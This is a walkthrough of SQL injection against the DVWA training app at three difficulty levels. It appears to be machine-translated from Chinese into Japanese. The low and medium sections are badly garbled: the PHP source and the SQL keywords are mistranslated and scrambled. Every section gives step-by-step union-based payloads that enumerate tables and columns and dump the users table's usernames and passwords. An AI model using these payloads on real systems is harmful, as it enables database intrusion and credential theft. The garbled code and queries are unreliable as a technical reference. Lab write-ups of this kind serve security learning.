低度
コードは以下の通りであります:
1 <?PHP 2 3 であれば(ISSET($ _REQUEST [ '送信' ])){ 4 //が入力取得 5 $ IDを = $ _REQUEST [ 'ID' ]。 6 7 // チェックデータベース 8 $クエリ = "SELECT FIRST_NAME、USER_ID = 'ユーザーからのlast_name ます$ id ';" ; 9 $結果 = mysqli_query($ GLOBALS [ "___mysqli_ston"]、 $クエリ)またはダイ( '<予備>'。$ GLOBALS [ "___mysqli_ston"]))?mysqli_error($ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error?())$ ___ mysqli_res:偽))。'</ PRE>' ); 10 11 // 結果取得 12を ながら($行 = mysqli_fetch_assoc($結果)){ 13の // 取得値 14 $は最初 = $行 [ "FIRST_NAMEを" ]。 15 $最後の = $行 [ "LAST_NAME"]; 16 17 // エンドユーザのフィードバック 18 エコー "<PRE> ID:{ $ ID } <br />まず名:{ $最初 } <br />姓:{ $最後 } </ PRE>" 。 19 } 20 21 mysqli_close($ GLOBALS [ "___mysqli_ston" ])。 22 } 23 24?>
上記のように、コードは、入力されたSQLインジェクションの脆弱性が存在してフィルタリングしません
我々は、次を攻撃し始めました。
注射があるか否かを判定する1
入力1は---正しいを返します
入力1「---エラーを返します
入力1と1 = 1は---正しいを返します
入力1と2 = 1···正しいを返します
入力1「と」1「=」1 ---正しいを返します
入力1「と」1「=」1 ---正しいを返します
入力1「と」1「=」2は---エラーが返されます(射出文字にここそこに描かれるべき、以下の検証を継続しました)
入力1「または」1「=」1 ---正しいリターン(復帰多くの結果が文字インジェクションの存在を証明します)
2.フィールドの数は、クエリのSQL文を推測します
入力1「または1#によって1 = 1順序---正しいを返します
入力1「または2#によって1 = 1順序---正しいを返します
入力1「または1 = 1オーダー3#によって---リターンエラー(返された結果---不明列」順序句「に」3「のフィールドの数が2を証明しています)
3.フィールドの配列を決定するために、
入力1「または1 = 1組合1,2#---リターン結果セット(実行SQLクエリの証明:ID =テーブルからフリスト名、姓を選択する選択」ID「)を
データベースを決定します。4.
入力1「または1 = 1組合選択データベース()、2#---決定データベースdwva
テーブル名を推測5.
入力1 'または1 = 1組合1を選択し、INFORMATION_SCHEMA.TABLES TABLE_SCHEMA =からtable_nameの' dvwa「#---決意テーブルと呼ばれるユーザーやゲストブック
6.推測カラム名
输入1' または1 = 1組合は、1 information_schema.columnsからCOLUMN_NAMEを選択する場所TABLE_SCHEMA = 'dvwa' とTABLE_NAME = 'ユーザー' #---爆出8个列名のuser_id、FIRST_NAME、LAST_NAME、ユーザー、パスワード、アバター、 last_login、failed_login
データの名前を推測7.
入力1 'または1 = 1組合1を選択し、CONCAT(ユーザー、' - ユーザーからの」、パスワード)#---すべてのデータ・バースト
中
コードは以下の通りであります:
1 <?PHP 2 3 であれば(ISSET($ _POST [ '送信' {])) 4 //が入力取得 5 の$ ID = $ _POST [ 'IDを' ]。 6 7 $のID = mysqli_real_escape_string($ GLOBALS [ "___mysqli_ston"]、$ ID )。 8 9 $クエリ = "SELECT FIRST_NAME、USER_ID =ユーザーからのlast_name $ ID ;" ; 10 $結果 = mysqli_query($ GLOBALS【 "___mysqli_ston"]、$クエリ)またはダイ( '<予備>'。mysqli_error($ GLOBALS [ "___mysqli_ston"]) '</ PRE>' ); 11 12 //は結果取得 13 ながら($行 = mysqli_fetch_assoc($結果)){ 14の // 表示値が 15 $最初 = $行 [ "FIRST_NAMEを" ]。 16 $最後 = $行 [ "LAST_NAME" ]。 "<PRE> ID:{ $ ID } <br />まず名:{ 最初$ } <br />姓:{ $最後 } </ PRE>" 。 20 } 21 22 } 23 24 // これは、後にindex.phpのページで使用されている 25 私たちは、ソーススクリプトの残りの部分でのように、ここでデータベース接続を閉じることができますので、それをここで設定する// 26 $クエリ =「SELECT COUNTユーザーからの(*);」; 27 $結果 = mysqli_query($ GLOBALS [ "___mysqli_ston"]、 $クエリ)またはダイ( '<前>'。$ GLOBALS [ "___mysqli_ston"]))?mysqli_error($ GLOBALS [ "___mysqli_ston"]):(($ ___ mysqli_res = mysqli_connect_error?())$ ___ mysqli_res:偽))。'</ PRE>' ); 28 $ NUMBER_OF_ROWS = mysqli_fetch_row($結果)[0 ]; 29 30 mysqli_close($ GLOBALS [ "___mysqli_ston" ])。 31?>
中の特殊文字をエスケープすることの困難、および注入を防止するためのドロップダウンメニューに入力ボックス。
私たちは、悪意のあるburpsuitキャプチャの注射により提出されたデータを変更することができます。
我々は、次を攻撃し始めました。
1.分析噴射式
キャプチャ後(これは、その後のキャプチャを略す)の変化に提出し、1を選択します
1「と= 1 1 ---エラーを返します
1と1 = 1 ---正常復帰(説明噴射型が数値注射です)
2.フィールドの数を分析します
Etherealの
1つの#1 ORDER BY ---正常に戻ります
2#1 ORDER BY ---正常に戻ります
3つの#---戻りによって1つのオーダーエラー(フィールド2の数)
フィールドオーダーの分析3。
Etherealの
1つの組合は---ノーマルへの復帰を1,2#を選択します
4.推測ソリューションデータベース
Etherealの
1つの組合1を選択し、データベース()#---成功し破ったデータベースdvwa
テーブル名を推測5.
Etherealの
1つの組合1を選択し、TABLE_SCHEMA =「dvwa」#---(ここでエラーが、文字の存在に起因する16進数に変換して送信することができる)エラーを返しINFORMATION_SCHEMA.TABLESからTABLE_NAME
1組合、TABLE_SCHEMA = 0x276476776127#---正常に戻る(のみ管理テーブルを壊した)INFORMATION_SCHEMA.TABLESからTABLE_NAME 1を選択
1つの組合が1、ここでTABLE_SCHEMA = 0x64767761#---ノーマルバースト(および差、変換16進数は、ターンであり、「dvwa」上に転写されている点でINFORMATION_SCHEMA.TABLESからテーブル名を選択しますdvwa、変換は増加」、注意を払う必要がありません!)
それはそうすることができ
1つの組合はTABLE_SCHEMA =データベース()#---爆出表名ゲストブック、ユーザーINFORMATION_SCHEMA.TABLESから1、GROUP_CONCAT(TABLE_NAME)を選択します
6.推測カラム名
Etherealの
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ---爆出列名
7.猜解数据名
抓包
1 union select concat(user),concat(password) from users# ---爆出所有数据名
high
代码如下:
1 <?php 2 3 if( isset( $_SESSION [ 'id' ] ) ) { 4 // Get input 5 $id = $_SESSION[ 'id' ]; 6 7 // Check database 8 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 9 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 19 } 20 21 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 22 } 23 24 ?>
high级别对提交参数加了一个 limit 1 ,依次来控制输出参数为一个。
此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。
1.判断注入类型
1' or '1'='1 ---字符注入
2.判断字段数
1' or 1=1 order by 2# ---返回正确
1' or 1=1 order by 3# ---返回错误
3.判断字段顺序
1‘ or 1=1 union select 1.2# ---返回正常
4.猜解数据库
1‘ or 1=1 union select 1,database()# ---爆出数据库名
5.猜解表名
1' or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名
6.猜解列名
1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ----爆出列名
7.爆出数据
1' or 1=1 union select group_concat(user),group_concat(password) from users # ---爆出数据